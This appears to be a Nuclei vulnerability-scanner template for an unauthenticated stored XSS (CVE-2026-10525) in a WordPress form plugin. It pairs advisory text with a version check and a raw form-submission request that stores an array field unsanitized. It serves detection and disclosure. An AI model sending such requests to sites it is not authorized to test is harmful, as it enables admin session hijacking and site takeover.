id: CVE-2026-10525 info: name: NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS author: sandiyochristan severity: high description: | NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()). impact: | An unauthenticated attacker can inject persistent JavaScript that executes in an administrator's browser session when they view form entries, leading to admin session hijacking, rogue account creation, and full site takeover. remediation: | Update NEX-Forms Express WP Form Builder to 9.2.3 or later, which recursively sanitizes array field inputs (nf_recursive_sanitize). reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-10525 - https://wpscan.com/vulnerability/d1e191e6-ff5b-4cb8-9b12-8ae73cf0d2f0/ - https://wordpress.org/plugins/nex-forms-express-wp-form-builder/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N cvss-score: 8.8 cve-id: CVE-2026-10525 epss-score: 0.00512 epss-percentile: 0.43691 cwe-id: CWE-79 metadata: verified: true max-request: 2 vendor: basix product: nex-forms-express-wp-form-builder framework: wordpress publicwww-query: "/wp-content/plugins/nex-forms-express-wp-form-builder/" tags: cve,cve2026,wordpress,wp-plugin,wp,nex-forms,xss,stored,unauth,vuln flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/nex-forms-express-wp-form-builder/readme.txt HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: version part: body internal: true group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' matchers: - type: dsl dsl: - 'compare_versions(version, "< 9.2.3")' - 'status_code == 200' condition: and internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=submit_nex_form&nex_forms_Id=1&company_url=&email={{randstr}}@test.com&nf_xss[]= matchers-condition: and matchers: - type: word part: body words: - 'name="nf_entry_id"' - 'value=' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100edf142bb113d2105472aec50a11fba5aa4a33842984ac0ba742227dc635a85b6022055ab49b62480ec5e4b5bdd7a1f47dc5bf46516aa2de5e7738df1a62e6f8b5f9c:922c64590222798bb761d5b6d8e72950